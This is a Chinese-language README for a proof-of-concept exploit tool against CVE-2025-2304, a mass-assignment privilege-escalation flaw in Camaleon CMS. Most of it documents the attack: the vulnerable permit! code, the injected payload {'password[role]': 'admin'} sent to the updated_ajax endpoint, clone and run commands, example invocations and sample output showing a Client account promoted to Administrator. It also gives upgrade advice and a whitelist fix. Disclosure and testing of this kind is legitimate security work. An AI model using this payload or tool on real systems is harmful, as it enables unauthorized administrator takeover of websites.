针对 CVE-2025-2304 的概念验证(PoC)利用程序,这是 Camaleon CMS 中的一个严重批量赋值漏洞,允许低权限用户提升为管理员。
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 是 Camaleon CMS 中的一个 严重批量赋值漏洞,存在于 UsersController 的 updated_ajax 方法中。该漏洞源于 Rails 中危险的 permit! 方法的使用,该方法允许所有参数未经任何过滤直接通过。
本 PoC 演示了具有低权限的已认证用户如何通过在密码更改操作期间注入未授权参数来提升为管理员角色。
CVSS 评分: 9.4(严重)
漏洞代码使用 params.require(:user).permit!,该代码 接收所有 用户提供的参数而不进行验证:
def updated_ajax
user_params = params.require(:user).permit! # DANGEROUS!
current_user.update(user_params)
end
攻击者可以在合法的密码更改字段中注入额外参数,例如 user[role]=admin,导致应用程序将用户角色更新为管理员。
攻击流程:
/admin/users/{id}/updated_ajax 发送精心构造的 POST 请求user[role]=admin 参数--no-password-field 标志用于最安全的测试git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
或者手动安装:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
位置参数:
target 目标 URL(例如 http://target.com)
必选参数:
-u, --username 用于身份验证的现有用户名
-p, --password 用户密码
可选参数:
-h, --help 显示帮助信息并退出
-v, --verbose 详细输出(显示所有请求)
--proxy PROXY 用于流量检查的 HTTP 代理(例如 http://127.0.0.1:8080)
--no-password-field 测试时不包含密码字段(最安全)
--skip-admin-test 跳过破坏性的管理员密码重置测试
使用现有用户凭据进行测试,同时保留密码:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
在利用载荷中不包含密码字段的测试:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
通过 Burp Suite 路由流量以便手动检查:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
启用详细输出,显示所有请求和响应:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
仅测试权限提升,跳过管理员密码重置:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS 权限提升 PoC
批量赋值漏洞测试工具
作者:d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] 目标:http://target.com
[*] 用户名:testuser
[*] 密码:**********
[*] 以 testuser 身份登录...
[+] 登录成功
[*] 检查 CMS 版本...
[*] 检测到版本:2.9.0
[+] 版本存在漏洞(< 2.9.1)
============================================================
[*] 测试 CVE-2025-2304 批量赋值漏洞
============================================================
[*] 目标用户:testuser (ID: 7)
[*] 当前角色:Client (client)
[*] 密码保持不变
[1/7] 测试:AJAX 端点 - user[role]
✗ 失败
[2/7] 测试:AJAX 端点 - password[role]
============================================================
[+] 利用成功!
============================================================
[+] 权限提升:Client → Administrator
[+] 存在漏洞的端点:/admin/users/7/updated_ajax
[+] 有效的载荷:{'password[role]': 'admin'}
[+] 密码未更改:用户仍可正常登录
[+] CVE-2025-2304 已确认!
[✓] CVE-2025-2304 漏洞已确认
| 版本 | 状态 |
|---|---|
| < 2.9.1 | ❌ 存在漏洞 |
| ≥ 2.9.1 | ✅ 已修复 |
具体存在漏洞的版本:
升级到 2.9.1 或更高版本
gem update camaleon_cms
审计用户账户
/users/*/updated_ajax 的可疑 POST 请求强制密码重置(如果已受损)
安全代码模式:
将危险的 permit! 替换为显式白名单:
# 之前(存在漏洞)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# 之后(安全)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
其他安全措施:
本工具仅供 教育和授权安全测试目的 使用。
法律声明:
道德使用:
d3vn0mi
本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。
欢迎提交贡献、问题报告和功能请求!
请随时查看 issues 页面。
如果此项目对您有帮助,请给一个 ⭐!
注意: 本仓库仅用于安全研究和教育目的。请始终实践负责任披露,并在测试前获得适当授权。